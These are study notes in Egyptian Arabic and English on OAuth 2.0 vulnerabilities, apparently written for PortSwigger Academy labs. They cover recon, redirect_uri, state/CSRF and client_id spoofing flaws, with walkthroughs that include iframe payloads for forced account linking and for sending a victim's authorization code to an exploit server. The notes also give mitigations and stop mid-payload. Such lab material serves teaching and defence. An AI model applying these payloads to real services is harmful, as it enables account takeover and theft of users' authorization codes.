انتقل إلى المحتوى

يعني إيه OAuth 2.0 أصلاً ؟

تخيل إنك دخلت موقع وبدل ما تعمل Sign up جديد، لقيت زرار:

  • Login with Google
  • Login with Facebook
  • Login with GitHub

دي كلها مبنية على OAuth 2.0.

الفكرة الأساسية:
الموقع الجديد ما بياخدش الباسورد بتاعك… لكنه بياخد إذن access محدود من حسابك في موقع تاني.

يعني بدل ما تدي الموقع الباسورد بتاع Google، Google نفسه يقول له:

آه المستخدم ده موافق إنك تعرف إيميله مثلاً.

ليه OAuth مهم للمهاجمين؟

لأنه:

  1. منتشر جداً في كل المواقع
  2. معقد شوية
  3. أي غلطة صغيرة في التطبيق = ممكن تعمل كارثة 🔥

والنتيجة ممكن تكون:

  • سرقة بيانات المستخدم
  • تسجيل دخول بدون باسورد
  • أو حتى takeover كامل للحساب

وده سبب إن PortSwigger عامل لابات كتير عليه.

طيب إيه فكرة OAuth الأساسية؟

OAuth = Authorization framework
مش Authentication في الأصل.

يعني المفروض يستخدم عشان:

تطبيق يطلب إذن للوصول لبياناتك من تطبيق تاني.

مثال:

  • موقع عايز يشوف الـ contacts بتوع Gmail
  • أو يشوف الإيميل بس

مش ياخد باسورد Gmail.

الفرق المهم جداً ⚠️

Authentication Authorization
إثبات إنك مين إعطاء إذن للوصول لبياناتك
Login Access to data

لكن حصلت حاجة:
الناس بدأت تستخدم OAuth كـ Login system كمان.
وده سبب مشاكل أمنية كتير.

سيناريو بسيط يوضح الفكرة

خلينا نمثل بـ 3 أطراف:

  1. المستخدم (أنت)
  2. الموقع اللي عايز تسجل فيه → اسمه Client
  3. الموقع اللي عندك فيه حساب → اسمه OAuth Provider (زي Google)

خطوات تسجيل الدخول:

1️⃣ تضغط "Login with Google"
2️⃣ الموقع يحولك على Google
3️⃣ Google يسألك:

هل توافق إن الموقع ده يعرف الإيميل بتاعك؟

4️⃣ تضغط Allow
5️⃣ Google يرجع الموقع بـ Access Token
6️⃣ الموقع يستخدم التوكن عشان يعرف مين المستخدم

وبكده سجلت دخول… بدون ما الموقع يعرف الباسورد.

فين المشكلة بقى؟

العملية دي فيها:

  • Redirects
  • Tokens
  • URLs
  • Parameters
  • عدة أطراف

أي غلطة في التنفيذ → ثغرة.

عشان كده القسم ده هيعلمك:

  • ازاي تكتشف ثغرات OAuth
  • ازاي تستغلها في اللابات
  • ازاي تحمي التطبيقات

أهم نقطة لازم تفهمها قبل اللابات

OAuth بيعتمد على:

  • trust بين مواقع مختلفة
  • redirects بين domains مختلفة
  • tokens حساسة جداً

وده بيخليه بيئة مثالية للهجوم 😈

[^1]

[^1]: # 🛡️ دليل اختراق وثغرات OAuth 2.0

**الموضوع:** مفاهيم، تدفقات العمل (Flows)، وطرق الاستغلال (Exploitation) **المصدر:** PortSwigger Academy + شرح جيمي

---

## 1. المفاهيم الأساسية (Terminology)

الـ OAuth هو بروتوكول بيسمح لموقع (A) إنه يوصل لبيانات من موقع (B) نيابة عن المستخدم، من غير ما الموقع (A) يعرف الباسورد بتاع المستخدم.

- **Client Application:** الموقع اللي عاوز يوصل للبيانات (زي موقع الكورسات).

- **Resource Owner:** المستخدم (أنت).

- **Identity Provider (IdP):** السيرفر اللي شايل بياناتك (جوجل، فيسبوك).

- **Authorization Server:** السيرفر المسؤول عن إصدار الأكواد والتوكنز.


---

## 2. أنواع التدفقات (Grant Types)

الـ Flow هو الطريقة اللي بيتم بيها تبادل البيانات للحصول على المفتاح النهائي (**Access Token**).

### A. Authorization Code Flow (الأكثر أماناً)

بيتم على مرحلتين (Back-channel):

1. المتصفح بيطلب **Authorization Code**.

2. السيرفر (Back-end) بيتبادل الكود ده بـ **Access Token**.


### B. Implicit Flow (الأقل أماناً)

بيتم في خطوة واحدة (Front-channel):

- السيرفر بيبعت الـ **Access Token** مباشرة في الـ URL (بعد علامة `#`).

- **ملاحظة:** النوع ده معرض جداً للتسريب لأنه بيظهر في المتصفح.


---

## 3. الصلاحيات (Scopes)

الـ **Scope** بيحدد "إيه" البيانات اللي الموقع مسموح له يشوفها.

- أمثلة: `scope=email`, `scope=profile`, `scope=contacts.read`.

- **OpenID Connect (OIDC):** طبقة فوق OAuth بتستخدم لتوحيد الهوية، أشهر الـ Scopes فيها: `openid`, `email`, `profile`.


---

## 4. مرحلة الاستطلاع (Recon & Discovery)

قبل ما تبدأ، لازم تعرف السيرفر بيدعم إيه. جرب دايماً تفتح الروابط دي:

- `GET /.well-known/oauth-authorization-server`

- `GET /.well-known/openid-configuration`

- **الفائدة:** الملف ده (JSON) بيكشف لك الـ Endpoints المستخبية، الـ Scopes المتاحة، والـ Grant Types المدعومة.


---

## 5. الثغرات الشهيرة وكيفية استغلالها

### 🚩 ثغرة الـ `redirect_uri` (الأخطر)

- **الفكرة:** التلاعب بالمكان اللي السيرفر هيبعت عليه الكود أو التوكن.

- **الاستغلال:**

    1. غير الـ `redirect_uri` في الـ Request لعنوان سيرفرك أنت.

    2. لو السيرفر مش بيتحقق (Weak Validation)، هيبعت "الكنز" (Code/Token) لعنوانك.

    3. اسحب الكود واستخدمه لاختراق حساب الضحية.


### 🚩 ثغرة الـ `state` و الـ OAuth CSRF

- **الفكرة:** الـ `state` هو رقم عشوائي بيمنع الهكر من إنه يربط حسابه بحساب الضحية.

- **الاستغلال:**

    1. لو الـ `state` مش موجود أو ثابت، الهكر بيبدأ عملية تسجيل دخول ويوقفها عند مرحلة الـ Callback.

    2. بيبعت رابط الـ Callback للضحية.

    3. الضحية بيفتح الرابط، فيتم ربط حساب الهكر بحساب الضحية الحقيقي.


### 🚩 ثغرة الـ `client_id` Spoofing

- **الفكرة:** انتحال هوية أبلكيشن موثوق (زي Spotify) لخدع المستخدم.

- **الاستغلال:**

    1. استخدام الـ `client_id` الخاص بشركة مشهورة مع `redirect_uri` خاص بالهكر.

    2. المستخدم هيشوف صفحة موافقة من "جوجل" بتقول "هل تسمح لـ Spotify؟".

    3. المستخدم هيوافق، وجوجل هتبعت الكود للهكر بسبب ضعف الربط بين الـ ID والـ URI.


---

## 6. نصائح عند البحث (Hunting Tips)

- **Intercept Everything:** استخدم Burp Suite لمراقبة أول طلب (`/authorize`).

- **Parameter Manipulation:** جرب تغير الـ `response_type` من `code` لـ `token`.

- **Information Leakage:** دور على الـ Access Token في الـ `Referer` header أو الـ Browser History.

الجزء ده بيحط إيده على "الوجع" في بروتوكول الـ OAuth. الفكرة كلها إن الـ OAuth مش "منتج" جاهز بتشغله، ده "مواصفات" (Specification) مرنة جداً، والمرونة دي هي اللي بتخلي المبرمجين يغلطوا.

خليني أبسطلك النقاط اللي قريتها دي عشان تعرف تستخدمها وأنت بتعمل Recon (استطلاع) على أي هدف:

1. ليه الـ OAuth مليان ثغرات؟ (The Flexibility Trap)

المقال بيقول إن الـ OAuth "Spec" غامض ومفتوح. تخيل لو اديتك مكعبات ليجو وقلتلك "ابني بيت"، من غير ما أديك كتالوج.

  • واحد هيبني بيت من غير باب (نسي الـ state parameter).

  • واحد هيبني بيت حيطانه ورق (مش بيعمل Validation للـ redirect_uri).

  • واحد هيسيب المفتاح تحت الدواسة (باعث الـ access_token في الـ URL).

الـ OAuth بيعتمد 100% على شطارة المبرمج في سد الفتحات دي، وللأسف أغلبهم بيركز إن "البتاع يشتغل" مش إنه يكون "آمن".

2. مرحلة الـ Identification (إزاي تعرف إنك قدام صيد ثمين؟)

وأنت فاتح الـ Burp Suite، أول ما تدوس على زرار "Log in with...", عينك تدور فوراً على الـ Request اللي رايح للـ /authorization أو /auth.

الـ Parameters اللي لازم "تبصم" عليها:

  • client_id: هوية الموقع اللي بيطلب البيانات.

  • redirect_uri: المكان اللي الداتا هترجع عليه (أهم هدف للهكر).

  • response_type: لو لقيت قيمته token اعرف إنك في Implicit Flow (ثغراته كتير). لو code يبقى Auth Code Flow.

  • state: لو مش موجود، مبروك عندك ثغرة CSRF محتملة جداً.

3. مرحلة الـ Recon (البحث عن الكنز المخفي) 🕵️‍♂️

دي أهم حتة في المقال. لما تعرف الـ Host بتاع الـ OAuth server (مثلاً oauth.victim.com)، جرب فوراً تروح للروابط دي:

  1. GET /.well-known/oauth-authorization-server

  2. GET /.well-known/openid-configuration

ليه الروابط دي "منجم ذهب"؟

الروابط دي بترجع لك ملف JSON فيه كل أسرار السيستم، زي:

  • إيه الـ Scopes اللي مسموح بيها (ممكن تلاقي Scope سري يديك صلاحيات Admin).

  • إيه الـ Grant Types اللي السيرفر بيدعمها (ممكن تكتشف إنه بيدعم الـ Implicit Flow وأنت مش عارف).

  • عناوين الـ Endpoints التانية اللي ممكن تعمل عليها Fuzzing.

نصيحة "جيمي" ليك في الخطوة دي:

دلوقتي وأنت بتذاكر في PortSwigger، عوّد نفسك أول ما تبدأ أي Lab في الـ OAuth:

  1. روح للـ HTTP History.

  2. اعمل Filter بكلمة auth أو callback.

  3. بص على الطلب الأول، وشوف الـ redirect_uri مكتوب إزاي. هل هو Path كامل؟ ولا Domain بس؟

  4. جرب في الـ Repeater تبعت طلب للـ /.well-known/openid-configuration وشوف السيرفر هيرد عليك بإيه.

Note: [^2]

LABS :

📌 الثغرة الأولى: التنفيذ الخاطئ للتدفق الضمني (Improper Implementation of the Implicit Flow)

🧠 المفهوم التقني (Technical Background)

في الـ Implicit Flow، لا يوجد خادم خلفي (Back-end) قوي يحتفظ بالأسرار. بدلاً من ذلك، يتم إرسال الـ access_token مباشرة إلى المتصفح عبر رابط URL (بعد علامة #). ولأن التطبيق يحتاج لإنشاء جلسة (Session) للمستخدم، يقوم المتصفح بإرسال طلب POST إلى السيرفر الخاص بالتطبيق يحتوي على بيانات المستخدم (مثل الإيميل) والتوكن.

⚠️ أين تكمن الثغرة؟ (The Flaw)

الثغرة تحدث بسبب "الثقة العمياء" (Blind Trust). السيرفر يأخذ الإيميل المرسل من المتصفح ويقول: "حسناً، سأفتح حساباً لهذا الإيميل"، دون أن يرسل الـ token إلى مزود الخدمة (مثل جوجل) ليتأكد: هل هذا التوكن يخص هذا الإيميل فعلاً؟

🛠️ سيناريو الاستغلال (Exploitation Steps)

  1. الاعتراض (Interception): يقوم الهكر بتسجيل الدخول بحسابه العادي، ويعترض طلب الـ POST الذي يذهب إلى خادم الموقع (مثلاً الإندبوينت /authenticate).

    • شكل الطلب المصاب: ```json {"email":"attacker@email.com", "username":"attacker", "token":"VALID_TOKEN_HERE"}

  2. التلاعب (Manipulation): يقوم الهكر بتغيير قيمة الـ email والـ username إلى بيانات الضحية (مثلاً carlos).

    • شكل الطلب بعد التعديل: ```json {"email":"carlos@victim.com", "username":"carlos", "token":"VALID_TOKEN_HERE"}

  3. النتيجة (Impact): السيرفر يقرأ إيميل كارلوس، وينشئ Session Cookie خاصة بكارلوس، وبذلك يتم اختراق الحساب بالكامل (Account Takeover).

🛡️ كيفية الحماية (Mitigation)

  • القاعدة الذهبية: يجب على السيرفر ألا يثق أبداً بأي بيانات هوية (User ID أو Email) قادمة من المتصفح.

  • الحل الصحيح: السيرفر يجب أن يأخذ الـ token فقط، ويرسل طلب GET من السيرفر إلى نقطة /userinfo الخاصة بمزود الخدمة (جوجل/فيسبوك) ليتأكد بنفسه من الإيميل المرتبط بهذا التوكن.

- الحل الجذري: التوقف عن استخدام الـ Implicit Flow تماماً واستخدام Authorization Code with PKCE.

Lab: Forced OAuth profile linking :

🎯 Objective

Exploit a CSRF vulnerability in the OAuth account-linking functionality to link the attacker's social media account to the admin account, then log in as admin.

🧠 Vulnerability

Missing state parameter in OAuth linking flow

The application does not use the state parameter during account linking.

This makes the OAuth flow vulnerable to CSRF attacks.

🔍 Key Observation

During the OAuth linking process:

GET /auth?client_id=...

The request contains:

redirect_uri=/oauth-linking

But:

No state parameter exists

Meaning:

  • no CSRF protection
  • attacker can force account linking

🔄 Normal OAuth Linking Flow

1. Login Normally

Login using:

  • username/password

2. Attach Social Profile

Click:

Attach a social profile

3. Authenticate With Social Media

User logs into social account.

OAuth provider redirects back:

GET /oauth-linking?code=AUTH_CODE

The application links the social account to the current user.

💣 Attack Idea

If the attacker can force the victim to visit:

GET /oauth-linking?code=ATTACKER_CODE

Then the victim account becomes linked to the attacker’s social account.

After that:

Attacker can log in as victim using social login

🛠️ Exploitation Steps

Step 1 — Login Normally

Login with regular credentials.

Step 2 — Start OAuth Linking

Click:

Attach a social profile

Step 3 — Intercept OAuth Callback

Using Burp Suite:

Intercept:

GET /oauth-linking?code=XXXX

Step 4 — Copy URL

Right-click request:

Copy URL

Example:

https://LAB-ID.web-security-academy.net/oauth-linking?code=STOLEN_CODE

Step 5 — Drop Request

Do NOT forward the request

Reason:

  • authorization code must stay unused
  • otherwise it becomes invalid

Step 6 — Logout

Logout from the lab account.

🧪 Create CSRF Exploit

On exploit server:

<iframe src="https://LAB-ID.web-security-academy.net/oauth-linking?code=STOLEN_CODE"></iframe>

🚨 Exploitation Result

When victim loads the iframe:

  1. Browser automatically sends request
  2. OAuth flow completes
  3. Victim account links to attacker social account

Because:

  • no state parameter
  • no CSRF validation

👑 Account Takeover

Now click:

Log in with social media

You will be logged in as:

administrator

🏁 Final Step

Go to:

Admin Panel

Delete user:

carlos

Lab solved ✅

🔐 Root Cause

Issue Impact
Missing state parameter CSRF
OAuth linking CSRF Account takeover
Forced social linking Authentication bypass

📌 Important Notes

  • The state parameter is critical in OAuth flows.
  • Account linking endpoints are commonly vulnerable.
  • Always inspect:
    • /oauth-linking
    • /callback
    • /auth
  • OAuth misconfigurations often lead to full account compromise.

🧷 Payload Used

<iframe src="https://YOUR-LAB-ID.web-security-academy.net/oauth-linking?code=STOLEN_CODE"></iframe>

Lab: OAuth account hijacking via redirect_uri

🎯 Objective

Exploit weak redirect_uri validation in the OAuth server to steal the victim's authorization code and log in as administrator.

🧠 Vulnerability

OAuth authorization code leakage via open redirect_uri

The OAuth server accepts arbitrary redirect_uri values without proper validation.

This allows attackers to redirect authorization codes to an external domain.

🔍 Key Observation

During OAuth login:

GET /auth?client_id=...

The OAuth server redirects user to:

redirect_uri?code=AUTH_CODE

The vulnerability:

  • redirect_uri is not properly restricted
  • attacker can replace it with their own domain

🔄 Normal OAuth Flow

Step 1 — User Logs In

User clicks:

Log in with social media

Step 2 — OAuth Authorization Request

GET /auth?client_id=...&redirect_uri=https://victim-site/oauth-callback

Step 3 — OAuth Server Redirects Back

/oauth-callback?code=AUTH_CODE

Application exchanges code for token and logs user in.

💣 Attack Idea

If attacker changes:

redirect_uri=https://exploit-server.net

then OAuth server sends:

https://exploit-server.net/?code=VICTIM_CODE

Result:

Authorization code leaked to attacker

🛠️ Exploitation Steps

1. Complete OAuth Login

Login normally using social login.

2. Observe Silent Authentication

Logout then login again.

Because OAuth session still exists:

OAuth server authenticates automatically

No credentials required again.

3. Find Authorization Request

In Burp Suite Proxy History:

Locate:

GET /auth?client_id=...

Send request to Repeater.

4. Test redirect_uri

Modify:

redirect_uri=https://exploit-server.net

Send request.

5. Follow Redirect

Observe response redirects to:

https://exploit-server.net/?code=XXXX

Check exploit server logs.

You should see leaked authorization code.

🧪 Build Exploit

Create exploit page:

<iframe src="https://oauth-YOUR-LAB-ID.oauth-server.net/auth?client_id=YOUR-CLIENT-ID&redirect_uri=https://YOUR-EXPLOIT-SERVER.exploit-server.net&response_type=code&scope=openid%20profile%20email"></iframe>

🚨 Exploitation Flow

Victim Visits Exploit

Victim browser loads iframe.

Because victim already has active OAuth session:

OAuth server automatically authorizes request

OAuth server redirects:

https://exploit-server.net/?code=VICTIM_CODE

Authorization code leaks into access log.

🔓 Account Takeover

Copy victim authorization code from exploit server logs.

Visit:

https://YOUR-LAB-ID.web-security-academy.net/oauth-callback?code=STOLEN_CODE

Application completes OAuth flow automatically.

Now attacker becomes:

administrator

🏁 Final Step

Go to:

Admin Panel

Delete:

carlos

Lab solved ✅

🔐 Root Cause

Issue Impact
Weak redirect_uri validation Authorization code leakage
Arbitrary external redirects OAuth account takeover
Missing allowlist validation Authentication compromise

📌 Important Notes

  • OAuth servers must strictly validate redirect_uri.
  • Authorization codes should only be sent to trusted domains.
  • Silent authentication increases impact dramatically.
  • Always test:
    • open redirect behavior
    • wildcard redirect_uri
    • partial matching
    • subdomain tricks

🧷 Payload Used

<iframe src="https://oauth-YOUR-LAB-ID.oauth-server.net/auth?client_id=YOUR-CLIENT-ID&redirect_uri